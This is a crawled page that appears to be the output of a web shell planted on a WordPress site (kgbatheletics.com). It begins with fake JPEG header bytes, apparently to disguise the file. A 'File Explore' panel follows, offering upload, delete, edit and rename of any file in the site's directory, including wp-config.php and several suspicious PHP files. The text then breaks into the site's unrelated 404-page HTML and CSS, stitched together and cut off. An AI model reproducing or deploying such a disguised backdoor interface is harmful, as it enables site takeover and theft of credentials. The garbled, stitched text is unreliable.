rsqflkqskqsljfqk
???�� JFIF 

  
 
  ?? C 	!"$"$?? C
?? p 
" 

??  

 

          
?? 


 

           
?�� 
   
????(%	aA*?XYD?(J??E��RE,P�XYae?)(E��2�B��R��	BQ��� X?)X�����?  
@  
.....................................................................................................................................???�� JFIF 

  
 
  ?? C 	!"$"$?? C
?? p 
" 

??  

 

          
?? 


 

           
?�� 
   
????(%	aA*?XYD?(J??E��RE,P�XYae?)(E��2�B��R��	BQ��� X?)X�����?  
@  

............................................................................................................................<div class="dir"><a href="javascript:void(0);" onclick="postDir('/')">/</a><a href="javascript:void(0);" onclick="postDir('/home')">home</a>/<a href="javascript:void(0);" onclick="postDir('/home/u281498814')">u281498814</a>/<a href="javascript:void(0);" onclick="postDir('/home/u281498814/domains')">domains</a>/<a href="javascript:void(0);" onclick="postDir('/home/u281498814/domains/kgbatheletics.com')">kgbatheletics.com</a>/<a href="javascript:void(0);" onclick="postDir('/home/u281498814/domains/kgbatheletics.com/public_html')">public_html</a>/</div><table><tr><th>Name</th><th>Size</th><th>Action</th></tr><tr><td><a href="javascript:void(0);" onclick="postOpen('/home/u281498814/domains/kgbatheletics.com/public_html/.htaccess')">fil> .htaccess</a></td><td>0.13KB</td><td><a href="javascript:void(0);" onclick="postDel('/home/u281498814/domains/kgbatheletics.com/public_html/.htaccess')">Delete</a> | <a href="javascript:void(0);" onclick="postEdit('/home/u281498814/domains/kgbatheletics.com/public_html/.htaccess')">Edit</a> | <a href="javascript:void(0);" onclick="postRen('/home/u281498814/domains/kgbatheletics.com/public_html/.htaccess', '.htaccess')">Rename</a></td></tr><tr><td><a href="javascript:void(0);" onclick="postDir('/home/u281498814/domains/kgbatheletics.com/public_html/.logz')"><b>dir><b/> .logz</a></td><td>--</td><td>--</td></tr><tr><td><a href="javascript:void(0);" onclick="postDir('/home/u281498814/domains/kgbatheletics.com/public_html/.tmb')"><b>dir><b/> .tmb</a></td><td>--</td><td>--</td></tr><tr><td><a href="javascript:void(0);" onclick="postDir('/home/u281498814/domains/kgbatheletics.com/public_html/assets')"><b>dir><b/> assets</a></td><td>--</td><td>--</td></tr><tr><td><a href="javascript:void(0);" onclick="postOpen('/home/u281498814/domains/kgbatheletics.com/public_html/check.php')">fil> check.php</a></td><td>0.93KB</td><td><a href="javascript:void(0);" onclick="postDel('/home/u281498814/domains/kgbatheletics.com/public_html/check.php')">Delete</a> | <a href="javascript:void(0);" onclick="postEdit('/home/u281498814/domains/kgbatheletics.com/public_html/check.php')">Edit</a> | <a href="javascript:void(0);" onclick="postRen('/home/u281498814/domains/kgbatheletics.com/public_html/check.php', 'check.php')">Rename</a></td></tr><tr><td><a href="javascript:void(0);" onclick="postOpen('/home/u281498814/domains/kgbatheletics.com/public_html/czq.php')">fil> czq.php</a></td><td>80.87KB</td><td><a href="javascript:void(0);" onclick="postDel('/home/u281498814/domains/kgbatheletics.com/public_html/czq.php')">Delete</a> | <a href="javascript:void(0);" onclick="postEdit('/home/u281498814/domains/kgbatheletics.com/public_html/czq.php')">Edit</a> | <a href="javascript:void(0);" onclick="postRen('/home/u281498814/domains/kgbatheletics.com/public_html/czq.php', 'czq.php')">Rename</a></td></tr><tr><td><a href="javascript:void(0);" onclick="postOpen('/home/u281498814/domains/kgbatheletics.com/public_html/g.php')">fil> g.php</a></td><td>9.64KB</td><td><a href="javascript:void(0);" onclick="postDel('/home/u281498814/domains/kgbatheletics.com/public_html/g.php')">Delete</a> | <a href="javascript:void(0);" onclick="postEdit('/home/u281498814/domains/kgbatheletics.com/public_html/g.php')">Edit</a> | <a href="javascript:void(0);" onclick="postRen('/home/u281498814/domains/kgbatheletics.com/public_html/g.php', 'g.php')">Rename</a></td></tr><tr><td><a href="javascript:void(0);" onclick="postOpen('/home/u281498814/domains/kgbatheletics.com/public_html/googlea9f28c41a8b2e76e.html')">fil> googlea9f28c41a8b2e76e.html</a></td><td>0.05KB</td><td><a href="javascript:void(0);" onclick="postDel('/home/u281498814/domains/kgbatheletics.com/public_html/googlea9f28c41a8b2e76e.html')">Delete</a> | <a href="javascript:void(0);" onclick="postEdit('/home/u281498814/domains/kgbatheletics.com/public_html/googlea9f28c41a8b2e76e.html')">Edit</a> | <a href="javascript:void(0);" onclick="postRen('/home/u281498814/domains/kgbatheletics.com/public_html/googlea9f28c41a8b2e76e.html', 'googlea9f28c41a8b2e76e.html')">Rename</a></td></tr><tr><td><a href="javascript:void(0);" onclick="postDir('/home/u281498814/domains/kgbatheletics.com/public_html/images')"><b>dir><b/> images</a></td><td>--</td><td>--</td></tr><tr><td><a href="javascript:void(0);" onclick="postOpen('/home/u281498814/domains/kgbatheletics.com/public_html/index.html')">fil> index.html</a></td><td>1.04KB</td><td><a href="javascript:void(0);" onclick="postDel('/home/u281498814/domains/kgbatheletics.com/public_html/index.html')">Delete</a> | <a href="javascript:void(0);" onclick="postEdit('/home/u281498814/domains/kgbatheletics.com/public_html/index.html')">Edit</a> | <a href="javascript:void(0);" onclick="postRen('/home/u281498814/domains/kgbatheletics.com/public_html/index.html', 'index.html')">Rename</a></td></tr><tr><td><a href="javascript:void(0);" onclick="postOpen('/home/u281498814/domains/kgbatheletics.com/public_html/index.php')">fil> index.php</a></td><td>0.4KB</td><td><a href="javascript:void(0);" onclick="postDel('/home/u281498814/domains/kgbatheletics.com/public_html/index.php')">Delete</a> | <a href="javascript:void(0);" onclick="postEdit('/home/u281498814/domains/kgbatheletics.com/public_html/index.php')">Edit</a> | <a href="javascript:void(0);" onclick="postRen('/home/u281498814/domains/kgbatheletics.com/public_html/index.php', 'index.php')">Rename</a></td></tr><tr><td><a href="javascript:void(0);" onclick="postOpen('/home/u281498814/domains/kgbatheletics.com/public_html/index.zip')">fil> index.zip</a></td><td>8.78KB</td><td><a href="javascript:void(0);" onclick="postDel('/home/u281498814/domains/kgbatheletics.com/public_html/index.zip')">Delete</a> | <a href="javascript:void(0);" onclick="postEdit('/home/u281498814/domains/kgbatheletics.com/public_html/index.zip')">Edit</a> | <a href="javascript:void(0);" onclick="postRen('/home/u281498814/domains/kgbatheletics.com/public_html/index.zip', 'index.zip')">Rename</a></td></tr><tr><td><a href="javascript:void(0);" onclick="postOpen('/home/u281498814/domains/kgbatheletics.com/public_html/indexfix.php')">fil> indexfix.php</a></td><td>2.39KB</td><td><a href="javascript:void(0);" onclick="postDel('/home/u281498814/domains/kgbatheletics.com/public_html/indexfix.php')">Delete</a> | <a href="javascript:void(0);" onclick="postEdit('/home/u281498814/domains/kgbatheletics.com/public_html/indexfix.php')">Edit</a> | <a href="javascript:void(0);" onclick="postRen('/home/u281498814/domains/kgbatheletics.com/public_html/indexfix.php', 'indexfix.php')">Rename</a></td></tr><tr><td><a href="javascript:void(0);" onclick="postOpen('/home/u281498814/domains/kgbatheletics.com/public_html/license.txt')">fil> license.txt</a></td><td>19.44KB</td><td><a href="javascript:void(0);" onclick="postDel('/home/u281498814/domains/kgbatheletics.com/public_html/license.txt')">Delete</a> | <a href="javascript:void(0);" onclick="postEdit('/home/u281498814/domains/kgbatheletics.com/public_html/license.txt')">Edit</a> | <a href="javascript:void(0);" onclick="postRen('/home/u281498814/domains/kgbatheletics.com/public_html/license.txt', 'license.txt')">Rename</a></td></tr><tr><td><a href="javascript:void(0);" onclick="postOpen('/home/u281498814/domains/kgbatheletics.com/public_html/qing.php')">fil> qing.php</a></td><td>0.3KB</td><td><a href="javascript:void(0);" onclick="postDel('/home/u281498814/domains/kgbatheletics.com/public_html/qing.php')">Delete</a> | <a href="javascript:void(0);" onclick="postEdit('/home/u281498814/domains/kgbatheletics.com/public_html/qing.php')">Edit</a> | <a href="javascript:void(0);" onclick="postRen('/home/u281498814/domains/kgbatheletics.com/public_html/qing.php', 'qing.php')">Rename</a></td></tr><tr><td><a href="javascript:void(0);" onclick="postOpen('/home/u281498814/domains/kgbatheletics.com/public_html/re-install.php')">fil> re-install.php</a></td><td>162.72KB</td><td><a href="javascript:void(0);" onclick="postDel('/home/u281498814/domains/kgbatheletics.com/public_html/re-install.php')">Delete</a> | <a href="javascript:void(0);" onclick="postEdit('/home/u281498814/domains/kgbatheletics.com/public_html/re-install.php')">Edit</a> | <a href="javascript:void(0);" onclick="postRen('/home/u281498814/domains/kgbatheletics.com/public_html/re-install.php', 're-install.php')">Rename</a></td></tr><tr><td><a href="javascript:void(0);" onclick="postOpen('/home/u281498814/domains/kgbatheletics.com/public_html/readme.html')">fil> readme.html</a></td><td>7.23KB</td><td><a href="javascript:void(0);" onclick="postDel('/home/u281498814/domains/kgbatheletics.com/public_html/readme.html')">Delete</a> | <a href="javascript:void(0);" onclick="postEdit('/home/u281498814/domains/kgbatheletics.com/public_html/readme.html')">Edit</a> | <a href="javascript:void(0);" onclick="postRen('/home/u281498814/domains/kgbatheletics.com/public_html/readme.html', 'readme.html')">Rename</a></td></tr><tr><td><a href="javascript:void(0);" onclick="postOpen('/home/u281498814/domains/kgbatheletics.com/public_html/robots.txt')">fil> robots.txt</a></td><td>0.07KB</td><td><a href="javascript:void(0);" onclick="postDel('/home/u281498814/domains/kgbatheletics.com/public_html/robots.txt')">Delete</a> | <a href="javascript:void(0);" onclick="postEdit('/home/u281498814/domains/kgbatheletics.com/public_html/robots.txt')">Edit</a> | <a href="javascript:void(0);" onclick="postRen('/home/u281498814/domains/kgbatheletics.com/public_html/robots.txt', 'robots.txt')">Rename</a></td></tr><tr><td><a href="javascript:void(0);" onclick="postOpen('/home/u281498814/domains/kgbatheletics.com/public_html/wp-activate.php')">fil> wp-activate.php</a></td><td>7.54KB</td><td><a href="javascript:void(0);" onclick="postDel('/home/u281498814/domains/kgbatheletics.com/public_html/wp-activate.php')">Delete</a> | <a href="javascript:void(0);" onclick="postEdit('/home/u281498814/domains/kgbatheletics.com/public_html/wp-activate.php')">Edit</a> | <a href="javascript:void(0);" onclick="postRen('/home/u281498814/domains/kgbatheletics.com/public_html/wp-activate.php', 'wp-activate.php')">Rename</a></td></tr><tr><td><a href="javascript:void(0);" onclick="postDir('/home/u281498814/domains/kgbatheletics.com/public_html/wp-admin')"><b>dir><b/> wp-admin</a></td><td>--</td><td>--</td></tr><tr><td><a href="javascript:void(0);" onclick="postOpen('/home/u281498814/domains/kgbatheletics.com/public_html/wp-blog-header.php')">fil> wp-blog-header.php</a></td><td>0.34KB</td><td><a href="javascript:void(0);" onclick="postDel('/home/u281498814/domains/kgbatheletics.com/public_html/wp-blog-header.php')">Delete</a> | <a href="javascript:void(0);" onclick="postEdit('/home/u281498814/domains/kgbatheletics.com/public_html/wp-blog-header.php')">Edit</a> | <a href="javascript:void(0);" onclick="postRen('/home/u281498814/domains/kgbatheletics.com/public_html/wp-blog-header.php', 'wp-blog-header.php')">Rename</a></td></tr><tr><td><a href="javascript:void(0);" onclick="postOpen('/home/u281498814/domains/kgbatheletics.com/public_html/wp-comments-post.php')">fil> wp-comments-post.php</a></td><td>2.27KB</td><td><a href="javascript:void(0);" onclick="postDel('/home/u281498814/domains/kgbatheletics.com/public_html/wp-comments-post.php')">Delete</a> | <a href="javascript:void(0);" onclick="postEdit('/home/u281498814/domains/kgbatheletics.com/public_html/wp-comments-post.php')">Edit</a> | <a href="javascript:void(0);" onclick="postRen('/home/u281498814/domains/kgbatheletics.com/public_html/wp-comments-post.php', 'wp-comments-post.php')">Rename</a></td></tr><tr><td><a href="javascript:void(0);" onclick="postOpen('/home/u281498814/domains/kgbatheletics.com/public_html/wp-config-sample.php')">fil> wp-config-sample.php</a></td><td>3.26KB</td><td><a href="javascript:void(0);" onclick="postDel('/home/u281498814/domains/kgbatheletics.com/public_html/wp-config-sample.php')">Delete</a> | <a href="javascript:void(0);" onclick="postEdit('/home/u281498814/domains/kgbatheletics.com/public_html/wp-config-sample.php')">Edit</a> | <a href="javascript:void(0);" onclick="postRen('/home/u281498814/domains/kgbatheletics.com/public_html/wp-config-sample.php', 'wp-config-sample.php')">Rename</a></td></tr><tr><td><a href="javascript:void(0);" onclick="postOpen('/home/u281498814/domains/kgbatheletics.com/public_html/wp-config.php')">fil> wp-config.php</a></td><td>3.55KB</td><td><a href="javascript:void(0);" onclick="postDel('/home/u281498814/domains/kgbatheletics.com/public_html/wp-config.php')">Delete</a> | <a href="javascript:void(0);" onclick="postEdit('/home/u281498814/domains/kgbatheletics.com/public_html/wp-config.php')">Edit</a> | <a href="javascript:void(0);" onclick="postRen('/home/u281498814/domains/kgbatheletics.com/public_html/wp-config.php', 'wp-config.php')">Rename</a></td></tr><tr><td><a href="javascript:void(0);" onclick="postDir('/home/u281498814/domains/kgbatheletics.com/public_html/wp-content')"><b>dir><b/> wp-content</a></td><td>--</td><td>--</td></tr><tr><td><a href="javascript:void(0);" onclick="postOpen('/home/u281498814/domains/kgbatheletics.com/public_html/wp-cron.php')">fil> wp-cron.php</a></td><td>5.49KB</td><td><a href="javascript:void(0);" onclick="postDel('/home/u281498814/domains/kgbatheletics.com/public_html/wp-cron.php')">Delete</a> | <a href="javascript:void(0);" onclick="postEdit('/home/u281498814/domains/kgbatheletics.com/public_html/wp-cron.php')">Edit</a> | <a href="javascript:void(0);" onclick="postRen('/home/u281498814/domains/kgbatheletics.com/public_html/wp-cron.php', 'wp-cron.php')">Rename</a></td></tr><tr><td><a href="javascript:void(0);" onclick="postDir('/home/u281498814/domains/kgbatheletics.com/public_html/wp-includes')"><b>dir><b/> wp-includes</a></td><td>--</td><td>--</td></tr><tr><td><a href="javascript:void(0);" onclick="postOpen('/home/u281498814/domains/kgbatheletics.com/public_html/wp-links-opml.php')">fil> wp-links-opml.php</a></td><td>2.43KB</td><td><a href="javascript:void(0);" onclick="postDel('/home/u281498814/domains/kgbatheletics.com/public_html/wp-links-opml.php')">Delete</a> | <a href="javascript:void(0);" onclick="postEdit('/home/u281498814/domains/kgbatheletics.com/public_html/wp-links-opml.php')">Edit</a> | <a href="javascript:void(0);" onclick="postRen('/home/u281498814/domains/kgbatheletics.com/public_html/wp-links-opml.php', 'wp-links-opml.php')">Rename</a></td></tr><tr><td><a href="javascript:void(0);" onclick="postOpen('/home/u281498814/domains/kgbatheletics.com/public_html/wp-load.php')">fil> wp-load.php</a></td><td>3.84KB</td><td><a href="javascript:void(0);" onclick="postDel('/home/u281498814/domains/kgbatheletics.com/public_html/wp-load.php')">Delete</a> | <a href="javascript:void(0);" onclick="postEdit('/home/u281498814/domains/kgbatheletics.com/public_html/wp-load.php')">Edit</a> | <a href="javascript:void(0);" onclick="postRen('/home/u281498814/domains/kgbatheletics.com/public_html/wp-load.php', 'wp-load.php')">Rename</a></td></tr><tr><td><a href="javascript:void(0);" onclick="postOpen('/home/u281498814/domains/kgbatheletics.com/public_html/wp-login.php')">fil> wp-login.php</a></td><td>51.3KB</td><td><a href="javascript:void(0);" onclick="postDel('/home/u281498814/domains/kgbatheletics.com/public_html/wp-login.php')">Delete</a> | <a href="javascript:void(0);" onclick="postEdit('/home/u281498814/domains/kgbatheletics.com/public_html/wp-login.php')">Edit</a> | <a href="javascript:void(0);" onclick="postRen('/home/u281498814/domains/kgbatheletics.com/public_html/wp-login.php', 'wp-login.php')">Rename</a></td></tr><tr><td><a href="javascript:void(0);" onclick="postOpen('/home/u281498814/domains/kgbatheletics.com/public_html/wp-mail.php')">fil> wp-mail.php</a></td><td>8.52KB</td><td><a href="javascript:void(0);" onclick="postDel('/home/u281498814/domains/kgbatheletics.com/public_html/wp-mail.php')">Delete</a> | <a href="javascript:void(0);" onclick="postEdit('/home/u281498814/domains/kgbatheletics.com/public_html/wp-mail.php')">Edit</a> | <a href="javascript:void(0);" onclick="postRen('/home/u281498814/domains/kgbatheletics.com/public_html/wp-mail.php', 'wp-mail.php')">Rename</a></td></tr><tr><td><a href="javascript:void(0);" onclick="postOpen('/home/u281498814/domains/kgbatheletics.com/public_html/wp-settings.php')">fil> wp-settings.php</a></td><td>32.38KB</td><td><a href="javascript:void(0);" onclick="postDel('/home/u281498814/domains/kgbatheletics.com/public_html/wp-settings.php')">Delete</a> | <a href="javascript:void(0);" onclick="postEdit('/home/u281498814/domains/kgbatheletics.com/public_html/wp-settings.php')">Edit</a> | <a href="javascript:void(0);" onclick="postRen('/home/u281498814/domains/kgbatheletics.com/public_html/wp-settings.php', 'wp-settings.php')">Rename</a></td></tr><tr><td><a href="javascript:void(0);" onclick="postOpen('/home/u281498814/domains/kgbatheletics.com/public_html/wp-signup.php')">fil> wp-signup.php</a></td><td>1.32KB</td><td><a href="javascript:void(0);" onclick="postDel('/home/u281498814/domains/kgbatheletics.com/public_html/wp-signup.php')">Delete</a> | <a href="javascript:void(0);" onclick="postEdit('/home/u281498814/domains/kgbatheletics.com/public_html/wp-signup.php')">Edit</a> | <a href="javascript:void(0);" onclick="postRen('/home/u281498814/domains/kgbatheletics.com/public_html/wp-signup.php', 'wp-signup.php')">Rename</a></td></tr><tr><td><a href="javascript:void(0);" onclick="postOpen('/home/u281498814/domains/kgbatheletics.com/public_html/wp-trackback.php')">fil> wp-trackback.php</a></td><td>5.27KB</td><td><a href="javascript:void(0);" onclick="postDel('/home/u281498814/domains/kgbatheletics.com/public_html/wp-trackback.php')">Delete</a> | <a href="javascript:void(0);" onclick="postEdit('/home/u281498814/domains/kgbatheletics.com/public_html/wp-trackback.php')">Edit</a> | <a href="javascript:void(0);" onclick="postRen('/home/u281498814/domains/kgbatheletics.com/public_html/wp-trackback.php', 'wp-trackback.php')">Rename</a></td></tr><tr><td><a href="javascript:void(0);" onclick="postOpen('/home/u281498814/domains/kgbatheletics.com/public_html/xmlrpc.php')">fil> xmlrpc.php</a></td><td>3.13KB</td><td><a href="javascript:void(0);" onclick="postDel('/home/u281498814/domains/kgbatheletics.com/public_html/xmlrpc.php')">Delete</a> | <a href="javascript:void(0);" onclick="postEdit('/home/u281498814/domains/kgbatheletics.com/public_html/xmlrpc.php')">Edit</a> | <a href="javascript:void(0);" onclick="postRen('/home/u281498814/domains/kgbatheletics.com/public_html/xmlrpc.php', 'xmlrpc.php')">Rename</a></td></tr></table>
<!DOCTYPE html>
<html>
<head>
    <title>File Explore</title>
    <style>
        table { margin: 20px auto; border-collapse: collapse; width: 90%; }
        th, td { border: 1px solid #000; padding: 5px; text-align: left; }
        textarea { width: 100%; height: 300px; }
        .dir { margin: 20px; }
    </style>
    <script>
        function postDir(dir) {
            var form = document.createElement("form");
            form.method = "post";
            var input = document.createElement("input");
            input.name = "d";
            input.value = btoa(dir);
            form.appendChild(input);
            document.body.appendChild(form);
            form.submit();
        }
        function postDel(path) {
            var form = document.createElement("form");
            form.method = "post";
            var input = document.createElement("input");
            input.name = "del";
            input.value = btoa(path);
            form.appendChild(input);
            document.body.appendChild(form);
            form.submit();
        }
        function postEdit(path) {
            var form = document.createElement("form");
            form.method = "post";
            var input = document.createElement("input");
            input.name = "edit";
            input.value = btoa(path);
            form.appendChild(input);
            document.body.appendChild(form);
            form.submit();
        }
        function postRen(path, name) {
            var newName = prompt("New name:", name);
            if (newName) {
                var form = document.createElement("form");
                form.method = "post";
                var input1 = document.createElement("input");
                input1.name = "ren";
                input1.value = btoa(path);
                var input2 = document.createElement("input");
                input2.name = "new";
                input2.value = newName;
                form.appendChild(input1);
                form.appendChild(input2);
                document.body.appendChild(form);
                form.submit();
            }
        }
        function postOpen(path) {
            window.open(atob(btoa(path)));
        }
    </script>
</head>
<body>
    <div class="dir">
        <form method="post" enctype="multipart/form-data">
            <input type="file" name="u">
            <input type="submit" name="s" value="Upload">
            <input type="hidden" name="d" value="L2hvbWUvdTI4MTQ5ODgxNC9kb21haW5zL2tnYmF0aGVsZXRpY3MuY29tL3B1YmxpY19odG1s">
        </form>
    </div>
</body>
</html>
<!DOCTYPE html>
<html lang="en-US">
<head>
	<meta charset="UTF-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
<meta name='robots' content='max-image-preview:large' />
<title>Page not found &#8211; Blog</title>
<link rel="alternate" type="application/rss+xml" title="Blog &raquo; Feed" href="https://kgbatheletics.com/feed/" />
<link rel="alternate" type="application/rss+xml" title="Blog &raquo; Comments Feed" href="https://kgbatheletics.com/comments/feed/" />
<style id="wp-img-auto-sizes-contain-inline-css">
img:is([sizes=auto i],[sizes^="auto," i]){contain-intrinsic-size:3000px 1500px}
/*# sourceURL=wp-img-auto-sizes-contain-inline-css */
</style>
<style id="wp-block-site-title-inline-css">
.wp-block-site-title{box-sizing:border-box}.wp-block-site-title :where(a){color:inherit;font-family:inherit;font-size:inherit;font-style:inherit;font-weight:inherit;letter-spacing:inherit;line-height:inherit;text-decoration:inherit}
/*# sourceURL=https://kgbatheletics.com/wp-includes/blocks/site-title/style.min.css */
</style>
<link rel='stylesheet' id='wp-block-navigation-css' href='https://kgbatheletics.com/wp-includes/blocks/navigation/style.min.css?ver=7.1.4' media='all' />
<style id="wp-block-group-inline-css">
.wp-block-group{box-sizing:border-box}:where(.wp-block-group.wp-block-group-is-layout-constrained){position:relative}
/*# sourceURL=https://kgbatheletics.com/wp-includes/blocks/group/style.min.css */
</style>
<style id="wp-block-image-inline-css">
.wp-block-image>a,.wp-block-image>figure>a{display:inline-block}.wp-block-image img{box-sizing:border-box;height:auto;max-width:100%;vertical-align:bottom}@media not (prefers-reduced-motion){.wp-block-image img.hide{visibility:hidden}.wp-block-image img.show{animation:show-content-image .4s}}.wp-block-image[style*=border-radius] img,.wp-block-image[style*=border-radius]>a{border-radius:inherit}.wp-block-image.has-custom-border img{box-sizing:border-box}.wp-block-image.aligncenter{text-align:center}.wp-block-image.alignfull>a,.wp-block-image.alignwide>a{width:100%}.wp-block-image.alignfull img,.wp-block-image.alignwide img{height:auto;width:100%}.wp-block-image .aligncenter,.wp-block-image .alignleft,.wp-block-image .alignright,.wp-block-image.aligncenter,.wp-block-image.alignleft,.wp-block-image.alignright{display:table}.wp-block-image .aligncenter>figcaption,.wp-block-image .alignleft>figcaption,.wp-block-image .alignright>figcaption,.wp-block-image.aligncenter>figcaption,.wp-block-image.alignleft>figcaption,.wp-block-image.alignright>figcaption{caption-side:bottom;display:table-caption}.wp-block-image .alignleft{float:left;margin:.5em 1em .5em 0}.wp-block-image .alignright{float:right;margin:.5em 0 .5em 1em}.wp-block-image .aligncenter{margin-left:auto;margin-right:auto}.wp-block-image :where(figcaption){margin-bottom:1em;margin-top:.5em}.wp-block-image.is-style-circle-mask img{border-radius:9999px}@supports ((-webkit-mask-image:none) or (mask-image:none)) or (-webkit-mask-image:none){.wp-block-image.is-style-circle-mask img{border-radius:0;-webkit-mask-image:url('data:image/svg+xml;utf8,<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"><circle cx="50" cy="50" r="50"/></svg>');mask-image:url('data:image/svg+xml;utf8,<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"><circle cx="50" cy="50" r="50"/></svg>');mask-mode:alpha;-webkit-mask-position:center;mask-position:center;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat;-webkit-mask-size:contain;mask-size:contain}}:root :where(.wp-block-image.is-style-rounded img,.wp-block-image .is-style-rounded img){border-radius:9999px}.wp-block-image figure{margin:0}.wp-lightbox-container{display:flex;flex-direction:column;position:relative}.wp-lightbox-container img{cursor:zoom-in}.wp-lightbox-container img:hover+button{opacity:1}.wp-lightbox-container button{align-items:center;backdrop-filter:blur(16px) saturate(180%);background-color:rgba(90,90,90,.25);border:none;border-radius:4px;cursor:zoom-in;display:flex;height:20px;justify-content:center;opacity:0;padding:0;position:absolute;right:16px;text-align:center;top:16px;width:20px;z-index:100}@media not (prefers-reduced-motion){.wp-lightbox-container button{transition:opacity .2s ease}}.wp-lightbox-container button:focus-visible{outline:3px auto rgba(90,90,90,.25);outline:3px auto -webkit-focus-ring-color;outline-offset:3px}.wp-lightbox-container button:hover{cursor:pointer;opacity:1}.wp-lightbox-container button:focus{opacity:1}.wp-lightbox-container button:focus,.wp-lightbox-container button:hover,.wp-lightbox-container button:not(:hover):not(:active):not(.has-background){background-color:rgba(90,90,90,.25);border:none}.wp-lightbox-overlay{box-sizing:border-box;cursor:zoom-out;height:100vh;left:0;overflow:hidden;position:fixed;top:0;visibility:hidden;width:100%;z-index:100000}.wp-lightbox-overlay .wp-lightbox-close-button{align-items:center;cursor:pointer;display:flex;font-family:inherit;gap:8px;justify-content:center;line-height:1;min-height:40px;min-width:40px;padding:0 4px;position:absolute;right:calc(env(safe-area-inset-right) + 16px);top:calc(env(safe-area-inset-top) + 16px);z-index:5000000}.wp-lightbox-overlay .wp-lightbox-close-button:focus,.wp-lightbox-overlay .wp-lightbox-close-button:hover,.wp-lightbox-overlay .wp-lightbox-close-button:not(:hover):not(:active):not(.has-background){background:none;border:none}.wp-lightbox-overlay .wp-lightbox-close-button:has(.wp-lightbox-close-text:not([hidden])) .wp-lightbox-close-icon svg{height:1em;width:1em}.wp-lightbox-overlay .wp-lightbox-close-icon svg{display:block}.wp-lightbox-overlay .wp-lightbox-navigation-button-next,.wp-lightbox-overlay .wp-lightbox-navigation-button-prev{align-items:center;bottom:16px;cursor:pointer;display:flex;font-family:inherit;gap:4px;justify-content:center;line-height:1;min-height:40px;min-width:40px;padding:0 8px;position:absolute;z-index:2000002}.wp-lightbox-overlay .wp-lightbox-navigation-button-next[hidden],.wp-lightbox-overlay .wp-lightbox-navigation-button-prev[hidden]{display:none}@media (min-width:960px){.wp-lightbox-overlay .wp-lightbox-navigation-button-next,.wp-lightbox-overlay .wp-lightbox-navigation-button-prev{bottom:50%;transform:translateY(-50%)}}.wp-lightbox-overlay .wp-lightbox-navigation-button-next:focus,.wp-lightbox-overlay .wp-lightbox-navigation-button-next:hover,.wp-lightbox-overlay .wp-lightbox-navigation-button-next:not(:hover):not(:active):not(.has-background),.wp-lightbox-overlay .wp-lightbox-navigation-button-prev:focus,.wp-lightbox-overlay .wp-lightbox-navigation-button-prev:hover,.wp-lightbox-overlay .wp-lightbox-navigation-button-prev:not(:hover):not(:active):not(.has-background){background:none;border:none;padding:0 8px}.wp-lightbox-overlay .wp-lightbox-navigation-button-next:has(.wp-lightbox-navigation-text:not([hidden])) .wp-lightbox-navigation-icon svg,.wp-lightbox-overlay .wp-lightbox-navigation-button-prev:has(.wp-lightbox-navigation-text:not([hidden])) .wp-lightbox-navigation-icon svg{display:block;height:1.5em;width:1.5em}.wp-lightbox-overlay .wp-lightbox-navigation-button-prev{left:calc(env(safe-area-inset-left) + 16px)}.wp-lightbox-overlay .wp-lightbox-navigation-button-next{right:calc(env(safe-area-inset-right) + 16px)}.wp-lightbox-overlay .wp-lightbox-navigation-icon svg{vertical-align:middle}.wp-lightbox-overlay .lightbox-image-container{height:var(--wp--lightbox-container-height);left:50%;overflow:hidden;position:absolute;top:50%;transform:translate(-50%,-50%);transform-origin:top left;width:var(--wp--lightbox-container-width);z-index:2000001}.wp-lightbox-overlay .wp-block-image{align-items:center;box-sizing:border-box;display:flex;height:100%;justify-content:center;margin:0;position:relative;transform-origin:0 0;width:100%;z-index:3000000}.wp-lightbox-overlay .wp-block-image img{height:var(--wp--lightbox-image-height);min-height:var(--wp--lightbox-image-height);min-width:var(--wp--lightbox-image-width);width:var(--wp--lightbox-image-width)}.wp-lightbox-overlay .wp-block-image figcaption{display:none}.wp-lightbox-overlay button{background:none;border:none}.wp-lightbox-overlay .scrim{background-color:#fff;height:100%;opacity:.9;position:absolute;width:100%;z-index:2000000}.wp-lightbox-overlay.active{visibility:visible}@media not (prefers-reduced-motion){.wp-lightbox-overlay.active{animation:turn-on-visibility .25s both}.wp-lightbox-overlay.active img{animation:turn-on-visibility .35s both}.wp-lightbox-overlay.show-closing-animation:not(.active){animation:turn-off-visibility .35s both}.wp-lightbox-overlay.show-closing-animation:not(.active) img{animation:turn-off-visibility .25s both}.wp-lightbox-overlay.zoom.active{animation:none;opacity:1;visibility:visible}.wp-lightbox-overlay.zoom.active .lightbox-image-container{animation:lightbox-zoom-in .4s}.wp-lightbox-overlay.zoom.active .lightbox-image-container img{animation:none}.wp-lightbox-overlay.zoom.active .scrim{animation:turn-on-visibility .4s forwards}.wp-lightbox-overlay.zoom.show-closing-animation:not(.active){animation:none}.wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .lightbox-image-container{animation:lightbox-zoom-out .4s}.wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .lightbox-image-container img{animation:none}.wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .scrim{animation:turn-off-visibility .4s forwards}}@keyframes show-content-image{0%{visibility:hidden}99%{visibility:hidden}to{visibility:visible}}@keyframes turn-on-visibility{0%{opacity:0}to{opacity:1}}@keyframes turn-off-visibility{0%{opacity:1;visibility:visible}99%{opacity:0;visibility:visible}to{opacity:0;visibility:hidden}}@keyframes lightbox-zoom-in{0%{transform:translate(calc((-100vw + var(--wp--lightbox-scrollbar-width))/2 + var(--wp--lightbox-initial-left-position)),calc(-50vh + var(--wp--lightbox-initial-top-position))) scale(var(--wp--lightbox-scale))}to{transform:translate(-50%,-50%) scale(1)}}@keyframes lightbox-zoom-out{0%{transform:translate(-50%,-50%) scale(1);visibility:visible}99%{visibility:visible}to{transform:translate(calc((-100vw + var(--wp--lightbox-scrollbar-width))/2 + var(--wp--lightbox-initial-left-position)),calc(-50vh + var(--wp--lightbox-initial-top-position))) scale(var(--wp--lightbox-scale));visibility:hidden}}
/*# sourceURL=https://kgbatheletics.com/wp-includes/blocks/image/style.min.css */
</style>
<style id="wp-block-heading-inline-css">
